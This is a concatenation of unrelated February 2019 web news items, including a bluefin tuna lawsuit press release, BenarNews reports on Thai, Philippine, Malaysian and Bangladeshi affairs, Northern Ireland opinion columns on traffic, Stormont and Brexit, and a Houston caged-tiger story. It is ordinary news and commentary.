Lovebirds will flock to Times Square on Valentines Day to profess their love and maybe get lucky. But wildlife will be far less fortunate as our population grows and urban sprawl destroys wild spaces, said Sarah Baillie, Endangered Species Condoms coordinator at the Center. The Crossroads of the World is perhaps the best example of our increasingly crowded world. We hope this ad and the Endangered Species Condoms help people understand how conscientious family planning can protect wildlife.For Immediate Release, February 13, 2019 Contact: Catherine Kilduff, (530) 304-7258, CKilduff@biologicaldiversity.org Lawsuit Challenges Federal Secrecy on Pacific Bluefin Tuna Protection Denial Trump Administration Refuses to Release Public Records Supporting Decision WASHINGTON The Center for Biological Diversity sued the Trump administration today for refusing to release public records on its denial of protection for imperiled Pacific bluefin tuna. After the National Marine Fisheries Service denied Endangered Species Act protection to the Pacific bluefin in 2017, the Center sought records about the decision. Todays lawsuit, filed in U.S. District Court in Los Angeles, comes after the administration has refused to fully comply with that Freedom of Information Act request. The Pacific bluefin, a powerful fish that commands top prices at auctions in Japan, has been overfished to less than 4 percent of its historic population. Most Pacific bluefin caught by commercial and sport fishers havent reached reproductive age, further undermining their recovery. These fish desperately need federal protection, so we want to know why Trump officials shot down those safeguards and who they discussed it with, said Catherine Kilduff, an attorney at the Center. This administration has consistently chosen to support special interests over protecting a healthy ocean for all. The public deserves to know why the Pacific bluefin has been hung out to dry. In December 2017 the Center asked the National Oceanic and Atmospheric Administration for all records related to its August 2017 Pacific bluefin decision. The administration responded by claiming disclosure exemptions for 257 of those records and has not responded to the Centers appeal of that decision. Japan, South Korea, Mexico, the United States and other countries have failed to reduce fishing enough to protect this iconic species, a luxury item on sushi menus. One study found that bluefin and other large marine organisms are particularly vulnerable to the current mass extinction event. Their loss would disrupt the ocean food web in unprecedented ways, and they need more protection to survive. Pacific bluefin are apex predators that are vital to healthy ocean ecosystems. Allowing them to be overfished for sushi is tragic, Kilduff said. The Endangered Species Act works, and we need to let it work for Pacific bluefin tuna.Looking for in-depth reporting on labor issues? You're in the right place.

Subscribe to The Chief and get stories that cover every side of civil service in New York City and beyond. You can sign up in minutes for immediate access.Spearfish, SD (57783)

Today

Mixed clouds and sun this morning. Scattered thunderstorms developing this afternoon. High 81F. Winds ESE at 5 to 10 mph. Chance of rain 50%..

Tonight

Variable clouds with showers at times, and perhaps a rumble or two of thunder, especially this evening. Low 58F. Winds SW at 10 to 15 mph. Chance of rain 40%.The United Kingdom is a Month From a Hard Brexit and It Could be Devastating for the Global Economy

Your code to embed this article on your website* :

*You are allowed to change only styles on the code of this iframe.Arthur Garrison is an associate profession of criminal justice at Kutztown University and the author of "Race and Criminal Justice History: Rhetoric, Politics, and Policy."Five Hamburg juniors have been accepted into next years Medical Health Professions program coordinated by BCTC, in collaboration with Reading Hospital and Penn State Berks. From left, Tamandeep Saggi, Catharine Wingle, Emilee Kachel, Julie Harbonic and Caitlin Steele are pictured with Hamburgs current program participant, senior Josie Keith (far right), wearing her scrubs.Sify Technologies announced support for Google Clouds Partner Interconnect, a Google Cloud service that enables its customers to connect to Google Cloud Platform globally. Sify Technologies Limiteds GlobalCloudConnect (GCC) platform will now offer secure, deterministic network connectivity services to Google Cloud in India, in addition to Amazon Web Services and Microsoft Azure.

Through Google Clouds Partner Interconnect, Sify is enabling Google Cloud customers to connect with their offices, data centers and workloads in other public clouds, leveraging Sifys country wide IP VPN (MPLS) network, which reaches over 1600 Indian towns and cities.

Google Cloud customers can also utilize Sifys Data Center Interconnect services, which provide cutting-edge performance for mission-critical and latency/high-availability sensitive applications. This service is offered from 45 data centers in the country, including six of Sifys own carrier-neutral colocation facilities.@facebook.com/northeastberksnews/

Lisa Mitchell is an editor for Berks-Mont Newspapers, covering news and events in the Northeast Berks County area.Winter is the most common time for beavers to fell trees for food causing a lot of landowners problems on their property.Moncks Corner, SC (29461)

Today

Mainly sunny. High 83F. Winds NE at 10 to 15 mph..

Tonight

Some clouds. A stray shower or thunderstorm is possible. Low 64F. Winds light and variable.A street vendor pushes a cart past an electoral campaign poster of Pheu Chart Party candidate Pattrakan Kitwicha, in Bangkok, Feb. 12, 2019.

With about six weeks left till a general election, Thai authorities have ordered a television station linked to deposed ex-Prime Minister Thaksin Shinawatra to go off air for 15 days, accusing it of airing content causing public confusion and divisiveness.

The National Broadcasting and Telecommunications Commissions (NBTC) order against Voice TV was issued Tuesday, officials said. Members of the public had filed multiple complaints against the station since 2015, the commission said as it pointed out how Voice TV was previously shut down over similar issues.

The license is suspended for 15 days from the date of order issued, NBTC commissioner Peerapong Manakit told reporters, alleging that the station had been involved in creating confusion and instigating disturbance.

Responding to the telecoms regulators order, Voice TV chief executive Mekin Petplai described the ruling juntas action as discriminatory and said he would file a lawsuit seeking more than 100 million baht (U.S. $3.2 million) in damages.

We know that there would be an order to suspend our station, which would cause impacts, Mekin said in a press statement. We really consider it discrimination.

He said the company would seek temporary protection from the Administrative Court.

Voice TV, owned by Thaksins son, Ponthongtae Shinawatra, has been shut down twice before  in 2014 and 2017.

In 2015, NBTC received four complaints against the station, 11 the following year, 10 in 2017 and nine last year, Peerapong said.

He said two programs on Voice TV  Wake Up News and Tonight Thailand  had received three complaints since January this year. But he declined to specify which content had caused public confusion.

I would not say much details. I will not mention the offenses to others, he said. There are programs broadcast that caused confusion, incitement, something like that. We warned them. Is this measure unreasonable? It is not overly unreasonable.

A copy of the NBTC order mentioned Voice TV interviews with two prime ministerial hopefuls from Thaksins Pheu Thai party, according to Reuters.

Takorn Tantasith, NBTCs secretary-general, said the television station had violated several sections of the 2008 Broadcasting Act.

Voice TV was first shut down in 2014, two days before a coup that overthrew Prime Minister Yingluck Shinawatra, Thaksins younger sister. Thaksin served as prime minister from 2001 until he was overthrown in a coup in September 2006.

Yingluck fled Thailand in August 2017 before she was to appear in court to hear the verdict over charges of gross negligence in a failed rice subsidy scheme during her tenure. A month later, she was sentenced in absentia to five years in prison.

Government officials said they were unsure of the Shinawatras whereabouts, but the siblings were recently photographed together in Singapore.

The March 24 polls will be the first electoral battle between the followers of the Shinawatras and Prime Minister Prayuth Chan-o-cha, a former army general who led the military coup that toppled Yingluck five years ago.

The NBTC order came the same day that Thai Raksa Chart, a populist movement linked to Thaksin and the Shinawatra clan, expressed public contrition for selecting Princess Ubolratana as its prime ministerial choice, an unprecedented political bid for a member of the royal family.

King Maha Vajiralongkorn quashed the princess candidacy within hours, chiding it as highly inappropriate in the Buddhist-majority nation where the wealthy monarchy is revered and protected by Lese-Majeste, a draconian law that protects the royal family against insults and offensive statements.Thai Raksa Chart party leader Preechaphol Pongpanit makes the traditional Thai gesture of respect while speaking to journalists on arrival at the party headquarters in Bangkok, Feb. 12, 2019.

Updated at 4:14 p.m. ET on 2019-02-13

Thailands election regulator urged the Constitutional Court on Wednesday to disband a party that nominated a princess as its pick for prime minister, saying the unprecedented move was hostile toward the monarchy.

The Thai Raksa Chart party on Feb. 8 named Princess Ubolratana Rajakanya Sirivadhana Barnavadi as its sole choice for the nations top political leadership. But her younger brother, King Maha Vajiralongkorn, immediately issued an edict condemning her candidacy as extremely inappropriate.

On Tuesday, the Election Commission considered the premiership nomination of a person and found it is hostile to the constitutional monarchy, the Election Commission (EC) said in a press statement.

It also emphasized that it had recommended that Thai Raksa Chart be dissolved, preventing it from participating in the March 24 general election.

The commission said it had "resolved to seek the Constitutional Court's consideration to disband the Thai Raksa Chart Party in line with Section 92(2) of the Political Party Act."

The court said it would decide on Thursday whether to accept the case.

Princess Ubolratana said she was saddened by the reaction to her nomination.

I regret my genuine commitment to helping the nation and all Thai people in turn caused such a trouble that should not be a trouble in this era, she wrote on her private Instagram account Monday. She followed her comment with the hashtag #howcomeitsthewayitis.

Preechapol Pongpanit, the party leader, told reporters he was still waiting for copies of the court petition.

We have the right to explain, he said. Give Thai Raksa Chart Party a chance to refute all accusations.

He said his party had good intentions in nominating the princess. I still stand by our position that were innocent, he said.

Preechapol was a high-ranking member of Pheu Thai Party, which was linked to former Prime Minister Yingluck Shinawatra. His partys maneuver to woo voters by naming the princess stunned the nation and broke the tradition of the royal family publicly staying out of politics.

The election commission put an end to the short-lived candidacy on Monday, echoing the kings words as it disqualified the 67-year-old princess from the coming polls. Members of the monarchs family are required to be above politics and to be politically neutral, the commission said.

But while the EC was empowered to seek court verdicts involving political parties, it should first gather sufficient evidence from the accused party, said Pichit Chuenban, the partys chief legal adviser.

Evidence gathering should not be done in a one-sided way, Pichit told reporters Tuesday. The international standard must be followed to ensure fairness to all.

Escalating political turbulence

Princess Ubolratanas nomination escalated the political turbulence in Thailand, which has been a constitutional monarchy since 1932. Thais revere the monarchy and consider the king  who commands the devotion of millions  to be semi-divine.

But her attempt to participate in national elections and align herself with the Shinawatra clan would pit herself against the junta led by Prime Minister Prayuth Chan-o-cha, who declined to give his opinion about the extraordinary sequence of events.

I dont have an opinion on who should be responsible for the Feb. 8 incident because it is up to the agencies involved, Prayuth told reporters Tuesday. Let bygones be bygones, no more troubles.

The March 24 polls will be the first electoral battle between the followers of the Shinawatras and Prayuth, a former army general who led a military coup that toppled Yingluck five years ago.

Yingluck was sentenced in absentia to two years in prison for rice subsidy fraud, but managed to flee the country in 2017. She has since lived in self-exile in several countries with Thaksin, who also fled Thailand following a 2006 military coup but has remained popular among rural Thais.

The dramatic events during the past few days reignited political tensions, analysts said, as many Thais expected that parties connected to Thaksin would pose a significant challenge to Prayuth, despite a new military-drafted constitution that allows the junta to appoint the 250 members of the Senate.

Along with the lower house, the Senate gets to vote for prime minister, and Thai Raksa Charts dissolution would lead to an uphill battle for supporters of the Shinawatra clan, analysts said.

Should the party be dissolved, the other pro-Thaksin party, Puea Thai, would be politically vulnerable  by itself it might not be able to win a majority of seats in the lower house of parliament, and it too could face efforts to remove its members from politics or even dissolve it after the election in March, Pavin Chachavalpongpun, an associate professor at Kyoto Universitys Center for Southeast Asian Studies, wrote Wednesday on the website of the Council on Foreign Relations, a New York-based think tank.

A Thai academician said the election commissions move to get Thai Raksa Chart dissolved was unfair.

I see the EC is not fair to all sides, Professor Anusorn Unno, dean of sociology and anthropology at Thammasat University in Bangkok, told BenarNews.

Previously Palang Pracharat Party was suspected with its fundraising feasts. No one investigated it, Anusorn said, referring to the controversial fundraisers organized earlier by the pro-military party.

But this (nomination) issue was raised Friday and decided in only two working days, he said, alleging that the election commissions decision was biased in favor of the junta.

Concerns about the fairness of the forthcoming polls were also raised on Tuesday after the nations telecoms regulator, citing national security concerns, suspended the operating license of Voice TV, a station linked to the Shinawatras.

NBTC commissioner Peerapong Manakit told reporters, without elaborating, that the station had been involved in creating confusion and instigating disturbance.

On Wednesday, New York-based Human Rights Watch (HRW) said taking a television station off the air, even temporarily, is unjustified censorship that will raise doubts about the fairness of the media environment ahead of national elections.

The suspension of Voice TV underlines the message that criticizing Thailands military government prior to the elections is forbidden, Brad Adams, HRWs Asia director, said in a statement.

Thailands generals are showing they dont intend to ease their heavy-handed rule over the country to ensure a fair vote.OPPO is expected to introduce its upcoming smartphone OPPO F11 Pro in India that will come with a stellar camera.

OPPOs new F11 Pro will be coming with a 48 MP dual rear camera, reaching a level of overall performance that exceeds the expectations of even the most demanding consumers. The new generation of a high-definition camera will provide the users with an impressive photo quality and viewing experience. It opens a window to limitless creativity  from shooting photos to getting clear images in low light with the help of its Super Night Mode feature. It will bring the flawless everyday usability which consumers expects in their smartphones.

The Super Night Mode of the OPPO F11 Pro functions with OPPOs exclusive AI Ultra-Clear Engine which includes the AI Engine, Ultra-clear Engine, and Color Engine. The AI Engine and Ultra-clear Engine delivers the perfect Super Night Mode which intelligently recognises scenes and optimises the settings. It also helps in optimisation for image-stabilization during long exposure, low-light performance, and skin brightening. All these features will bring the best in class experience to the users and is all set to redefine the definition of photography within the Indian Smartphone market.Philippine National Police chief Oscar Albayalde points to a diagram during a news conference in Manila, after the arrest of five suspected Abu Sayyaf militants wanted for alleged involvement in the deadly bombings of a church in the southern Philippines, Feb. 4, 2019.

An investigation team sent by Indonesia to Manila last week could not confirm Philippine claims that an Indonesian couple carried out twin bombings that killed 23 people at a Jolo island church, a senior counter-terror source in Jakarta told BenarNews.

Philippine Interior Secretary Eduardo Ano had claimed that an Indonesian man and woman were responsible for the Jan. 27 explosions at Our Lady of Mount Carmel Cathedral in Jolo, capital of Sulu province in the southern Philippines.

There were no DNA profile of the couple, no finger prints according to the post-mortem done on body parts found at the crime scene, the Indonesian security source told Benar via a phone interview from Jakarta.

Philippine security forces have arrested and filed murder charges against five suspected members of the Abu Sayyaf, a ragtag band of militants linked with the Islamic State (IS) extremist group.

Authorities in the Philippines, including President Rodrigo Duterte, claim that those five men worked with a couple, believed to be Indonesians, who bombed the church.

Indonesian investigators arrived in Manila early this month to help probe those suspicions.

Six days after the bombings, Ano told CNN that the couple was sometimes mistaken for Malaysians. Im certain they are Indonesians, he said, identifying the man as Abu Huda and adding he had been in Sulu province for a long time already.

The woman arrived in Jolo days before the bombings, Ano said.

But the Indonesian source told BenarNews that the team of counter-terror investigators has not yet received concrete evidence from Philippine authorities since returning to Jakarta this week.

The source said Philippine authorities had told the team that the Indonesian bomber was named Abu Huda and was believed to have travelled to Manila on Jan. 21 with his 10-year-old daughter.

Indonesian police checked every single passenger who flew out to Manila on January 21 from all airports in the country. Police also checked every male passenger who travelled to Manila with a 10-year-old female child (on that day), he said.

There was no Abu Huda on the immigration list. Abu Huda is highly likely an alias, a nickname that is commonly used by militants. Under such circumstances, it is very difficult to establish the identity of this Abu Huda, the source said.

The counter-terrorism source said the Indonesian investigation team also failed to obtain from Philippine authorities the alleged bombers digital footprint.

Indonesian police sent to Manila did not get any digital footprint of the alleged couple that could have shed light on where they went, who they communicated with, anything that could have helped establish their identities, the source said.

Under such circumstances, it is going to be very difficult to make headway in this investigation, he said.

One-sided

When the Philippines first announced that Indonesian suicide bombers were behind the blast, Indonesian Security Minister Wiranto urged Filipino authorities not to rush into accusing Indonesians as the perpetrators before confirming the facts.

He described the statements from Manila as one-sided news.

Until now the coordination has not been completed, and responsibility remains with the Philippine authorities themselves  the police, the parties concerned in the matters, Wiranto told reporters in Jakarta.

Analysts have also raised doubts over the Philippine claims linking Indonesians to the bombings

Theres no evidence! Different officials are saying different things  Malaysians, Yemenis, Indonesians, Sidney Jones, director of the Jakarta-based Institute for Policy Analysis of Conflict, told the Jakarta Post last week. They actually have no clue.Officers carry the body of a kidnapping suspect following a shootout in Kajang, Malaysia, Feb.12, 2019.

Updated at 4:17 p.m. ET on 2019-02-13

Malaysian police shot and killed an alleged ring leader and a member of a syndicate responsible for at least 13 kidnappings targeting Bangladeshi workers, while rescuing a victim during a raid outside Kuala Lumpur, authorities said Wednesday.

The two killed in Tuesdays raid were identified as Bangladeshi nationals. Police said both were part of a criminal ring that targeted Bangladeshis because it was easier to communicate with their families back home to collect ransom.

The suspects opened fire when they realized our presence and the police team returned fire, killing the suspects, Kuala Lumpur Police Chief Mazlan Lazim said, adding that police seized a semi-automatic pistol and a machete during the operation.

However, Malaysian police did not release the names of the slain suspects or the victim who was freed.

The victim was kidnapped on Feb. 8 along a road in Kuala Lumpur and held captive at a house in Kajang district outside the city. The syndicate had demanded 200,000 ringgit (U.S $49,000 or 4.125 million Bangladeshi taka) in ransom from the victims family, he said.

Mazlan said officers had received a tip that the victim was being held at the house.

Investigators determined that the two suspects were linked to the killings of two Bangladeshi workers whose bodies were found near a garbage dump in Kuala Lumpur and a river in Selangor state, the chief added. The bodies were missing toes and one was in a state of decomposition.

Kuala Lumpur police conducted further investigation after the two bodies were found on Jan.13 and we determined that the suspects were believed to be responsible, Mazlan said.

Following the shootings, police arrested two suspected Malaysian members of the syndicate on Tuesday and seized a mini multipurpose vehicle.

Police revealed that the syndicate was responsible for at least 13 kidnappings involving Bangladeshi workers in Kuala Lumpur and Selangor since 2017. The syndicate had collected 2.5 million ringgit ($614,000 or 51.5 million taka) in ransom, officials said.

It would be tough to kidnap victims of other nationalities  But it is easier among them, a high-ranking police source told BenarNews, explaining that the Bangladeshi syndicate had targeted their countryman for kidnapping because it did not face a language barrier in demanding ransom from family members.

Worrying trend

The kidnappings were cause for concern, said Naheedul Huq, executive member of the Malaysia Bangladesh Forum Association in Kuala Lumpur, a NGO that reaches out to Bangladeshi expatriates here. He urged police to investigate to learn why the Bangladeshis were being targeted.

The ransom asked for that could amount to hundreds of thousands of ringgit as reported in the news, but that does not make sense because migrant Bangladeshi workers earn very little, somewhere between 1,000-plus and 2,000-plus ringgit. Furthermore they need to settle their loans in migrating to Malaysia and pay annual levies, he told BenarNews.

Their families at home are not rich either. So they're not wealthy to begin with, so I'm not sure why kidnappers would want to target our nationals.

He also asked that both governments work together.

The Bangladeshi High Commission in Kuala Lumpur should sit down with the Malaysian Home Ministry to discuss the issue of Bangladeshi workers security in the country, he said.

The Bangladesh embassy in Kuala Lumpur did not immediately respond to a request for comment from BenarNews.

These cases had an element of human trafficking because the victims were held against their will, said Glorene Das, executive director of the Malaysian human rights group Tenaganita.

As such, the case must be handled accordingly by the police, she said.

Tenaganita knows that the relevant authorities are well aware of who they are, therefore we hope that the syndicate members are prosecuted and convicted. We also hope the victims get justice and not be criminalized because of their undocumented status, but support and safety is provided, she added.

Bangladeshi victims

Bangladeshis often are the victims of kidnapping syndicates, the police source said.

In November 2018, four men including a Bangladeshi pleaded not guilty to theft, kidnapping, extortion and causing hurt to two Bangladeshi construction workers in Johor state.

They were charged with kidnapping two victims from their workers dormitory in Forest City and confining them at an abandoned substation for two days to extort money from them. If convicted of charges related to wrongful confinement for the purpose of extortion, they could face three years in prison and a fine.

In 2017, a group of college students in Selangor were charged with kidnapping a Bangladeshi student. All three pleaded not guilty.

Malaysias home ministry reported that more than 220,000 Bangladeshis were working in the country in 2017, according to media reports.

Bangladeshis make up about one-eighth of the foreign workforce, trailing only Nepalese and Indonesian workers, the Khazanah Research Institute reported.Bangladeshi officials count ballots shortly after voting ended at a polling station in Panam Nagar, about 20 km (12 miles) southeast of Dhaka, Dec. 30, 2018.

Bangladeshs new foreign minister said Wednesday he was not concerned by a letter from a U.S. congressional committee that alleged fraud and other irregularities in last Decembers general election.

Minister A.K. Abdul Momen said the South Asian nation had the backing of the American government in the wake of the polls, which saw Sheikh Hasina clinch a record fourth term as prime minister through a landslide. He was asked to comment about the letter published on the U.S. House Foreign Affairs Committees website a day earlier.

In their letter to U.S. Secretary of State Mike Pompeo, a bipartisan group from the committee said it was dismayed by violence, mass arrests and a crackdown on free speech leading up to and during the Dec. 30 election. Hasinas Awami League party retained its grip on power by winning nearly all the contested seats.

I have seen the content of the letter. Listen, the allegation of fraud in the election is the observation of the foreign affairs committee, not of the U.S. government, Momen told BenarNews. The U.S. secretary of state has congratulated me for assuming the office of foreign minister.

This is very common practice; there is nothing to be worried about it (the letter), he added.

The letter, signed by Rep. Eliot L. Engle, chairman of the House Foreign Affairs Committee, and five other members questioned the outcome of the vote  pointing out that the Awami League claimed 288 of 298, or 96 percent, of the seats contested. That figure was more than in 2014 when the key opposition Bangladesh Nationalist Party (BNP) boycotted the vote.

Although the government-appointed election commission has claimed the election was legitimate, we believe the allegations of widespread rigging and voter suppression must be taken seriously, the committee members wrote.

The letter also noted that other elections were scheduled in Asian countries this year, including in Thailand, Indonesia and the Philippines.

It is crucial that the United States demonstrate its continued commitment to and respect for democratic institutions, beginning with Bangladesh, the committee members urged the top American diplomat.

In Bangladesh, the letter drew support from Mahbubur Rahman, a BNP leader. The seven members of the BNP-led National Unity Front who won election refused to take the parliamentary oath of office earlier this year, calling the general election farcical.

Through their letter, the frauds of the Dec. 30 polls have come to the fore and people have come to know about it. This letter will create some uproar, he told BenarNews. But the government will not pay heed to it. They will continue to claim that the election was fair.

International recognition

Meanwhile, Tareque Shamsur Rahman, a professor of international relations at Jahangirnagar University in Dhaka, said the letter represented the first strong criticism of the election.

But I do not think that the letter would have any impact on the government. This is because recognition of the government from India, the U.S. and the European Union is most important to the government in Bangladesh, Rahman told BenarNews.

He called on the countrys major political parties to move past their feud.

Now, the government should create confidence-building measures for the opposition. This is because the two big parties, the Awami League and the BNP, must work together to take the countrys democracy forward, he said.

Last week, Mohammad Ziauddin, Bangladeshs ambassador to the United States, published a column in the Washington Times newspaper celebrating the Awami Leagues victory and casting aside doubts about the votes legitimacy.

Some in the international media found it hard to believe that Bangladeshi voters could back one party so thoroughly. A closer look at the polls and how much life has improved in Bangladesh over the last 10 years removes that doubt, the ambassadors wrote.

Why such massive popularity? Under Sheikh Hasina, Bangladeshis have progressed at a blistering pace, he went on as he listed milestones of economic growth achieved under Hasinas leadership.First things first. I don't mind driving. Indeed, I quite like driving, cocooned away from the world in a place of your own. It's thinking time, maybe a chance to listen to music or catch up with the latest Stephen Nolan crusade during the morning commute.

Driving is one thing, but sitting staring at the back of a lorry as a Tuesday morning grinds to a halt before it has even got started is another.

Read More

It comes as no surprise that, after London, motorists spend more time in their cars trying to get into or through Belfast than any other UK city, and that's before a rush hour accident or even a simple breakdown leaves thousands stranded, late for work, late for appointments, unable to get to where they needed to be an hour before.

I live in Magherafelt - the other end of the Earth as far as some people in Belfast think - but in reality it's 40 minutes coasting up the motorway. Drop the kids at school, negotiate the roadworks as the A6 upgrade continues to take shape between Castledawson and Randalstown, pull into the car park and walk through the office doors before the normal 10am start.

That's what life should be like.

I pay taxes like everyone else. I don't expect to be embarrassed walking in over half an hour late. Nor does anyone else. I apologise. No one apologises to me.

There is no doubt Belfast has a major problem. Breakdowns happen. Vehicles occasionally collide. Why does something so simple leave Belfast in such a sorry state? Imagine the difference a little forward-planning could make to everyday lives.

So, I found myself joining the queue of traffic around Templepatrick around 9.20am thanks to a crash on the Sydenham bypass some 12 miles away - 12 miles!

Use the bus, someone might say. Ever tried getting a bus from Magherafelt to Belfast? You still hit all the traffic. Train? The nearest station is in Antrim.

Many people have no choice other than to use the car. But that's why they pay road tax, so why shouldn't they? And why shouldn't they expect the road network to be able to cope?Almost exactly one year ago the Prime Minister and the Taoiseach flew into Belfast amid speculation that a deal to restore power-sharing at Stormont had been agreed. Spoiler alert: it hadn't.

It still hasn't.

Anyone looking to understand why Northern Ireland is still waiting on a breakthrough would be best advised to avoid the politics and history section of the library and head straight to the shelf containing books on psychology.

Specifically, any of the extensive literature on living with dysfunctional families, because it bears an uncanny resemblance to the current political situation.

The DUP and Sinn Fein act like warring parents everywhere. Instead of being attuned to the interests of the family, they invariably put their own selfish needs first, meaning the family at whose head they sit never gets to enjoy the comfort of consistency.

One day all is sweetness and light. The next all Hell breaks loose. That's been the experience of the Assembly from day one.

Relations are harmonious for a while, then comes the messy break-up; after a protracted reconciliation, the warring couple moves back in together and all's hunky dory (sort of) for a while; then there's another, inevitable rupture.

So it goes on. Family members are forced to put their lives on hold to sort out the mess.

Admittedly, it can be glib to explain political problems by blaming them on inadequate personality traits. The last two years have seen far too many examples of know-it-alls raiding the lexicon of pop psychology to explain away Brexit.

Trying to see the current political impasse in Northern Ireland through the prism of a broken household doesn't feel anywhere near as far-fetched, though.

What, according to psychologists, do families need most? Structure and routine. That is exactly what's been missing.

The heads of the family here have instead been erratic, or inconsistent, in providing support and leadership. Everything depends on their shifting moods, rather than a clear focus on the communal good.

Even on a very basic level, a family's need for safety, food and shelter - what one might regard at a civic level as the rudimentary duty of any administration to provide - has been allowed to slip and all because the DUP and Sinn Fein would rather snipe at one another.

As things stand, eggheads could talk until the cows come home about how to solve the stand-off over the official status of the Irish language, or the rights of same-sex couples to marry, but ultimately it wouldn't matter. The previous time everything broke down in acrimony, just a year after the Stormont House Agreement was supposed to have paved the way for progress, it was over welfare reform and continued paramilitary activity. Before that it was "flegs". Next time it will be something else.

Individual issues are not what cause the disagreements. They're merely excuses in order to have a disagreement in the first place.

That's why the rest of the family is forced to tiptoe around on eggshells for fear that the slightest trigger will set off another squabble between the warring parties.

Of course, people in Northern Ireland are not children and we're not forced to maintain this connection with our inadequate proxy political parents. They only get away with it because they suspect we'll put up with being taken for a ride. Sadly, they've been right more often than not.

All of us must bear some responsibility for enabling the DUP and Sinn Fein to spin out their dysfunctional dance of co-dependency. Other brands are available.

Susan Forward is a psychotherapist. Normally that should be grounds for caution. She's also from California, which ought to set off another alarm bell. But she, literally, wrote the book on toxic families and she puts it in a nutshell: "Unhealthy families discourage individual expression. Everyone must conform to the thoughts and actions of the toxic parents." That is as near-perfect a description of how the heads of the Northern Ireland political family have inveigled and gaslighted us all into compliance and any psychologist worth his or her salt would say that the only option sometimes is to get as far away as possible.

This is one instance where Ulster needs to loudly say No.

It's possible that this is happening already to some extent. Exposure to a toxic environment can make those trapped inside it angry, but it can also manifest itself in resignation, apathy, indifference.

It's rare to find anyone who cares that much any more about whether Stormont gets back up-and-running; and the longer that time goes by without seeing a return of devolution, the less urgent it seems.

This time two years ago was the midway point between the January downfall of Stormont and the March Assembly election. Bad as it was back then, few predicted it would still be going on in 2019.

What would have seemed equally implausible is that the government shutdown would have started to feel so normal.

Just because there are no mass rallies outside City Hall demanding change doesn't mean that people are happy with the way things are; but most have surely given up hope that this time would be any different, even if the cracks were papered over once more?

That's assuming the DUP and Sinn Fein even want to get back to Stormont. Some issues could probably be parked in the spirit of coming together as the dreaded March 29 Brexit deadline fast approaches, but the nature of that impending crisis is so overwhelming and touches on so many deep-rooted questions around identity and Northern Ireland's long-term place in the Union that it's hard to see how it could avoid overshadowing the work of the Assembly for months - if not years - to come.

Without a more solid guarantee that the DUP and Sinn Fein won't kick off again at the first Brexit-related provocation, why should they even be given the benefit of the doubt?

After putting off the moment of truth multiple times, the hour must be nigh to make a decision once and for all on transferring those "transferred matters" right back to the Secretary of State, whether she wants them or not (and let's face it, she doesn't).

Appointments are waiting to be made and rulings on spending have been gathering dust too long. The call by the Northern Ireland Local Government Association to give additional powers - and, equally importantly, money - to councils to plug the leadership gap is one imaginative piece of the puzzle, but that alone wouldn't be enough.

Sometimes when parents can't - or won't - fulfil their responsibilities to the family, someone from outside has to step in and do it for them.Jeremy Corbyns offer to the PM has the potential to divide both Labour and the Tories

Jeremy Corbyn's letter on the Brexit stalemate last Wednesday to Prime Minister Theresa May could well be a game-changer. As the countdown to Brexit inexorably continues and the departure date nears without even the semblance of a deal, the last real chance of achieving a House of Commons majority on the terms of a deal has been opened up by the Labour leader.

In that letter he outlined Labour's position on Brexit. In essence he wrote that the party wanted the UK to remain fully within the customs union and aspects of the single market. There are other issues that he has highlighted, such as workers' rights and security, but they are, in real terms, already within the scope of the Prime Minister's deal on Brexit.

While, on the face of it, this letter may be seen as Labour acting in a conciliatory and flexible fashion, apparently attempting to protect the UK's national interest, it is also designed as a Trojan horse to fundamentally split the Conservative Party.

If May accepts the basic substance of Corbyn's conditions - that is, permanent membership of the customs union - then she will be breaching one of her infamous "red lines" and will be moving towards a much softer Brexit.

This will in turn antagonise the hard Brexiteers like Jacob Rees-Mogg and the European Research Group.

The ultimate question for the Prime Minister is whether it is more desirable to achieve a pragmatic, deliverable deal with Labour in the national interest of the UK, or should she put her Conservative Party first and protect its political unity.

This will be the great dilemma for May - if she is able to reach a deal with Corbyn on Europe.

For the moment, at least, she has responded positively to the letter with a surprising flexibility and has not explicitly rejected any of its five demands, including membership of the customs union. She has simply indicated that she wishes to engage further on Labour's position.

The fact that she has not rejected Labour's demands will inevitably lead to anxiety, with her hard Brexiteers fearing that she will sell them short.

But the problem for them is if May does not produce a deal by the end of March, a no-deal Brexit is inevitable and that will be disastrous for the country. Would they, in particular, wish to bear the huge responsibility for plunging Britain into such a calamity?

But Corbyn's letter has also brought about a hostile reaction within a very divided Labour Party at Westminster. There is a sizeable number of his MPs who see Corbyn's letter as writing off the idea of a second referendum, which they believe could reverse the folly of the original 2016 result.

As agreed at its last party conference, Labour's current policy is to seek another referendum, when all other options have been exhausted.

The Corbyn leadership had to be dragged kicking and screaming to agree to this policy.

Several Remainer Labour MPs strongly argue that this point of exhaustion has already been reached and that Corbyn's letter is an attempt to sabotage the staging of a second vote.

Pro-Remain Labour MPs view Corbyn with great suspicion on this issue and, rightly, suspect him as being at heart a Eurosceptic.

This will continue to be a problem for Corbyn, for if he does reach an agreement with May based on his five demands, it is likely many pro-Remain Labour MPs would not support such a deal in a vote in the House of Commons. So, while Corbyn might split the Conservatives, he also runs the risk of splitting his own uncertain and divided party at Westminster.

The reaction in Brussels to the Labour leader's overtures to May has been positive and has been welcomed by Guy Verhofstad, the European Parliament's top man in relation to Brexit.

He said: "Cross-party co-opertion is the way forward and we welcome Jeremy Corbyn's letter to Theresa May to offer a cross-party exit."

As the Father of the European Parliament, German Christian Democrat Elmar Brok wittily remarked: "London must speak to London."

He and other European parliamentarians are baffled by the continued failure of the British Parliament to reach a cross-party consensus on the terms of a Brexit deal. This is why Corbyn's initiative has come as a relief to them.

If May compromises and does a deal with Corbyn that includes staying in the customs union, it would undoubtedly be approved by Brussels - not least because it would ease considerably the problems over the backstop and the Irish border.

But whether the DUP would support May in such a deal is questionable, given Nigel Dodds' derisive response to Corbyn's letter.

Meanwhile, the clock continues to tick.North Redondo Beach will absorb most of the 2,500 new homes over the next eight year.The tiger was discovered in a cage secured with a nylon strap and a screwdriver (BARC)

A concerned citizen who went to an abandoned house to smoke weed was surprised to find a caged tiger.

Sceptical police in Houston, Texas, couldnt quite believe what they were hearing when the anonymous person called them on Monday to report the sighting of the big cat.

They were trying to get into this house to smoke marijuana, Sergeant Jason Alderete, of Houston Police Departments Major Offenders, Livestock Animal Cruelty Unit, told local news station KTRK.

We questioned them as to whether they were under the effects of the drugs or they actually saw a tiger.

BARCs Animal Enforcement Officers followed up on an anonymous tip from a concerned citizen regarding a tiger. HPD... Posted by BARC on Monday, February 11, 2019

Police said the big cat was being kept in a cage that was far too small, although it had been left with meat to feed on.

Sgt Alderete told KHOU-TV the cage was secured with a nylon strap and a screwdriver for the top of the cage.

He could have gone on a rampage in the city, he said. Anything could have happened.

